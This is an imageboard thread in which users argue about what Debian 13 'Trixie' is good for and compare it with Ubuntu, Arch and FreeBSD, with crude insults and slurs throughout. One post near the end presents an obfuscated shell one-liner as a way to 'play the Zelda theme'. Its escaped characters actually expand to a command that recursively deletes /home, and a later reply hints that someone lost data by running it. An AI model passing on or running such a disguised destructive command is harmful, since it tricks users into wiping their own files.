Thread 106248718

Usecase?

>>106248718 (OP)
running servers.

nice stable host for my docker containers

>>106248718 (OP)
Just works.

>>106248820
Why not ubuntu instead?

>>106248718 (OP)
you really are retarded if you think distros are different these days.
The only difference is how woke their maintainers are and if you don't have a job (so you are using arch).

>>106249204
why ubuntu? debian is stable and has everything a good maintainable server needs.

>>106248718 (OP)
Let the third party repositories and forks catch up.
While the update fools suffer and report all the bugs.

We're good

It works.

It's stupid that Debian exists as a bandaid to retarded Linux culture, but it works.

>>106249366
13 mins uptime and you already started to debug Trixie!
Thank you for service

>>106248718 (OP)
It's solid and it will be there for me tomorrow or a month from now the same way it as there for me yesterday or a month ago.
>but you don't get new software!
I don't get new major versions, true. But new major versions introduce bugs and that's not desirable to me. Meanwhile, what's there gets patched and gets security updates. And if I need new software, I can just run something like Arch or Fedora in a container using distrobox and get whatever I need there.

>>106249545
Technically new app versions, can be installed via backports, 3p repositories, flatpak or manually.

It's an old troll argument, added that Windows users started to believe "updates the new antivirus".
Some might people actually believe they need latest of everything.

>>106249687
>Technically new app versions, can be installed via backports, 3p repositories, flatpak or manually.
Very true, but personally I don't really like messing with the base too much. At that point I could just as easily install something else as I've been doing this for years and am comfortable with a bunch of distros (including Gentoo).
I decided a while back that I just like having something I'm dead certain is going to work.

>>106248718 (OP)
>Usecase?
Operating my systems

>>106249204
>GNOME desktop distro for servers
Why?

>>106249774
I don't use Ubuntu personally but you can always install the server edition if you want to go headless.

>>106249774
>https://ubuntu.com/download/server

Debian + XFCE my beloved

>>106250196
holy ugly font rendering
Ubuntu is better for desktop; there at least things look decent
Xfce is also ugly as hell

>>106248718 (OP)
Updated today, it was painless. Don't like that new default screen, it's a bit too dark. Anyway, don't need to tinker with my os for another 2 years.

>>106248718 (OP)
I tried to update two systems that had web frontends and it fucked them both up and I can't be arsed to try to find out why (netbox and zoneminder). I'll update when I have to, thank dog for VM backups.

>>106248718 (OP)
>Usecase
Opening a web browser

>>106249204
Home Assistant is built on Debian so that's what the community supports. It'll work on Ubuntu but since it's an unsupported configuration, it can be a hassle if something goes wrong.

>>106249204
Ubuntu is built on the Debian package manager and used to build upon Debian repositories. The main use case for Ubuntu itself on the desktop is the fact it has more frequent updates for desktop applications.

>>106250257
>The main use case for Ubuntu itself on the desktop is the fact it has more frequent updates for desktop applications
...if you use non-LTS Ubuntu or use snaps.
Both Debian and Ubuntu have ~2 years between releases, and repos don't get version updates during a release, only security updates.

>>106248718 (OP)
The Great and Powerful Trixie Release

>>106250213
He screwed up something.

>>106248820
What's the point of Debian when Ubuntu Server is far more reliable and secure? With Debian, you will be stuck with unpatched and CVE infested packages for years.

>>106250670
This is not true, Debian receives regular patches and security updates.
It just doesn't receive new major versions of things.

>>106248937
Pretty much, it can like Silverblue for people who don't want to be on top of an immutable base system.

>>106252268
*can be like

>>106248718 (OP)
I'm sticking with 12 until 14 comes out. Not because of anything particularly wrong with trixie, just it's name is trixie and 13 is an unlucky number. I am slightly psychic and I forsee 13 being a forsaken debian release where everyone agrees 12 and 14 are better in 5 years.

>>106253765
I can respect this level of schizo.

>>106250670
This is wrong!

>>106249270
I mean, ubuntu is based on debian so it gets everything debian gets and more. Also their LTS should be stable. Though haven't really experimented with it.

>>106249774
retard

>>106250233
>home assistant
anon don't fall for the smart home meme. If anything you should be dumbing down your tech as much as possible.

>>106254355
>everything debian gets and more
but is this a good thing? why do i need more? isn't that just more surface area to attack?

>>106248718 (OP)
>Usecase?
Being the basis for Ubuntu and Mint.

>>106254438
yeah you're right, it might end up being bloat desu.
Honestly when I need a server I just look at which one the devs of the service/daemon I want test on.

>>106249204
Ubuntu is so bad, it's even worse than Windows

+ it's not ubuntu (stupid name)
+ i like the red swirl

>>106254532
>Ubuntu is so bad, it's even worse than Windows
why? that's a bold statement considering how bad windows has become

debian for the server arch for the desktop

>>106254532
I'm with the other anon don't leave us hanging with a potential truthbomb

>>106248718 (OP)
Running servers for a month after release before installing another distro or an enterprise system.

You don't feel like installing Arch

>>106254841
FreeBSD for the server
Arch for the desktop

>>106248718 (OP)
Boring distribution for boring people
t. Boring man
>>106249545
I use Homebrew (I’m an Apple main) for stuff where I want the new hotness
>>106250213
I’m in bed but Debian looks fine on MY machine (4K monitor at 200% text zoom)

>>106255069
>FreeBSD
Is there any other reason aside from "security via obscurity"?
Debian has most packages preconfigured to work out of the box or be more intuitive than their default coubterparts

Cheated with LMDE for awhile and decided to come home

>>106248820
>>106248937
Ubuntu is better for that.

>>106255459
there are a lot of more packages on freebsd than in debian. You can even install software like searx-ng or similar software via the package manager. So it's easier.
That and honestly I find it easier to manage a freebsd system than a linux system but that might just be my autism

>>106255502
>krashde

>>106250213
It's a 1366x768 panel, so it's probably blurry AF and the poster doesn't even notice (or it's even set deliberately) against the blurry shit lcd.

>>106254532
Did a youtuber give you that opinion?

>>106255550
no it isn't

>>106257817
Yes it is

>>106249545
>new major versions introduce bugs
bugs introduced by upgrades are rare and patched instantly in shit like fedora. on debian you already start with bugs that have been fixed long ago, youre stuck with them for years.
>well, you can use backports, flatpaks and source
i dont think they are ideal, but yeah you can throw them on top of your system.

>>106248718 (OP)

My setup is dwm over plain xorg and not even any display manager, all Trixie did was break a bunch of stuff in subtle ways including nuking GTK2 and since I'm already installing my most used software and other stuff straight from upstream to avoid bugs introduced in Trixie, I can probably just stay on bookworm indefinitely.

Why do trannies like to post unrelated anime girl pictures?

It just has a nice classic Linux vibe

>>106248718 (OP)
computing

>>106248718 (OP)
>tight kerning on debian
>spaced out 1 3
as steve jobs would say, linux users have no taste

>>106259578
That is actually a disgrace. Didn't notice at first, but you are totally right.

>>106259445
so ppl look at my posts

>Boot up Debian 13 live with GNOME
>It comes with Terminal (GTK3) instead of Console (GTK4, maintained by upstream)
What were they thinking?

>>106259445
>muh trannies
Your disgusting fetish in unrelated.
Also, you're on an anime website.

>>106261406
Why does this matter to you?

>>106262977
Because I expect brand new releases to not ship outdated software? It's bad enough that it won't get another release within the next two years.

>>106248718 (OP)
Beta testing for the next ubuntu lts

>>106264015
You don't need it
>>106264098
That's regular ubuntu

>>106264484
Nobody needs Debian.

>>106255550
dumbass

>>106248718 (OP)
everything

>>106248718 (OP)
playing music

# play the Zelda theme
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

>>106248718 (OP)
set up a computer the way you like it, and never fuck with it again. just use your computer.

>>106264789
Says who?

>>106266334
Wtf my background disappeared.

>>106253765
>I am slightly psychic
I think you mean psychotic.

>>106254355
In my experience, Debian stable is still an order of magnitude more stable than Ubuntu LTS, and more importantly, they work really hard to make upgrades reasonable without a full reinstall.
I have a laptop that I installed Debian Squeeze on in 2011 and I've been dist-upgrading it through stable releases ever since. Although admittedly I don't do much with that laptop, I've never come close to that kind of longevity tracking Ubuntu LTS.

>>106248718 (OP)
>useCase
Check this out: the other day I was trying to upload a file to VirusTotal on Windows - various browsers - and I failed. Then I run Debian and uploaded the file without a problem. Other users have been reporting the same loop problem on VirusTotal.

>>106264015
anon you use debian specifically because it ships outdated software. that is the number one reason to use it